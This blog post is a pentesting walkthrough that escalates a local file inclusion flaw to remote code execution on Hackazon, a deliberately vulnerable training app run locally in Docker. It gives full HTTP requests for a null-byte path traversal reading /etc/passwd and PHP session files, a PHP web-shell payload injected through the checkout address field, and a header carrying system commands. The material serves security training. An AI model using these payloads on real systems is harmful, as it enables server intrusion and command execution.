- Published on
Pentesting: Local file inclusion to remote code execution on Hackazon
- Authors
- Name
- Avasdream
- @avasdream_
Hello World! Getting remote code execution is one of the most fatal vulnerabilities which can be present in an application. Today we are escalating a local file inclusion vulnerability to remote code execution on the Hackazon application. Hackazon is a vulnerable application from Rapid7 and the source code is public at GitHub. In order to follow the guide, you need to have Docker installed.
Docker setup
Pull and run the unofficial Hackazon Docker container mutzel/all-in-one-hackazon.
docker run --rm --name hackazon -p 80:80 -d mutzel/all-in-one-hackazon:postinstall supervisord -n
After the command has finished you should be able to visit the Hackazon application at http://127.0.0.1.
Local file inclusion
After creating a user account and manually browsing the application, we discover the page
parameter. This parameter loads different help pages, like rest
, setting_up_profile
and add_product_to_cart
. The normal GET request looks like this:
GET /account/help_articles?page=setting_up_profile HTTP/1.1
Host: 0.0.0.0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://0.0.0.0/account/help_articles
Accept-Encoding: gzip, deflate
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=hdssukmaj18uhgmdr1a0blqs05
Connection: close
When we change the parameter to /etc/passwd%00
, the file content is served to us in the response.
The working payload is a valid path (/etc/passwd
) terminated by the URL encoded null byte (%00
). So at this point we can read files on the server. For getting remote code execution we need to supply PHP code to a file on the server and read this file with our local file inclusion afterwards. A common method is log file poisoning. There we would use the Apache log files to insert our PHP code. (Common log files used for poisoning are listed here.)
In this case, however, the www-data
user is not allowed to read the Apache log files in the Hackazon container, so we need another way.
PHP Session files
By examining the requests in Burp Suite we see the PHPSESSID
set in the cookie. PHP's sessions enable web applications to store the state on the application server which is not possible with the stateless HTTP protocol. The Hackazon user sessions are stored in /var/lib/php5/
and the www-data
user is the owner of the files and therefore allowed to read them. Session files are named by combining sess_
with the session id, for example sess_06bo0c2qi42srstj4r9qiotiu1
.
Let's have a look inside our running container:
So now we can use our local file inclusion to read our session file.
GET /account/help_articles?page=/var/lib/php5/sess_06bo0c2qi42srstj4r9qiotiu1%00 HTTP/1.1
Host: 0.0.0.0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=06bo0c2qi42srstj4r9qiotiu1
Connection: close
The session file is shown to us in the response. The interesting part is the user provided data fields that are stored in the session file. In line two we can see the shippingAddress
variable.
When placing an order we are able to set our shipping address and the address will be stored in the session file. Now we have our chance to supply PHP code which will be executed by the server. After choosing a random item to order we can set the following PHP code as shipping address:
<?php system($_SERVER['HTTP_EXECUTEME']);?>
This code will look for a EXECUTEME
header and insert the value into the system function call. If the EXECUTEME
header is not set the request will fail. To set the shipping address we send the following request:
POST /checkout/shipping HTTP/1.1
Host: 0.0.0.0
Content-Length: 239
Pragma: no-cache
Cache-Control: no-cache
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://0.0.0.0
Referer: http://0.0.0.0/checkout/shipping
Accept-Encoding: gzip, deflate
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=06bo0c2qi42srstj4r9qiotiu1
Connection: close
fullName=peter&addressLine1=%3C%3Fphp+system(%24_SERVER%5B'HTTP_EXECUTEME'%5D)%3B%3F%3E&addressLine2=&city=New+York®ion=New+York&zip=1234&country_id=EN&phone=&_csrf_checkout_step2=gqSPC7jPH2alzsRIZ9CPhlB1enTEzjsA&address_id=&full_form=1
There is no need to finish the order since now the shippingAddress
variable in the session file is set. To execute the system command we use our local file inclusion to read our current session file.
GET /account/help_articles?page=/var/lib/php5/sess_06bo0c2qi42srstj4r9qiotiu1%00 HTTP/1.1
Host: 0.0.0.0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=06bo0c2qi42srstj4r9qiotiu1
EXECUTEME: echo "\n"; ls -lah;date;whoami;cat /etc/issue;uname -a; echo "\n"
Connection: close
In the response we can verify that our commands were executed.
Happy hacking!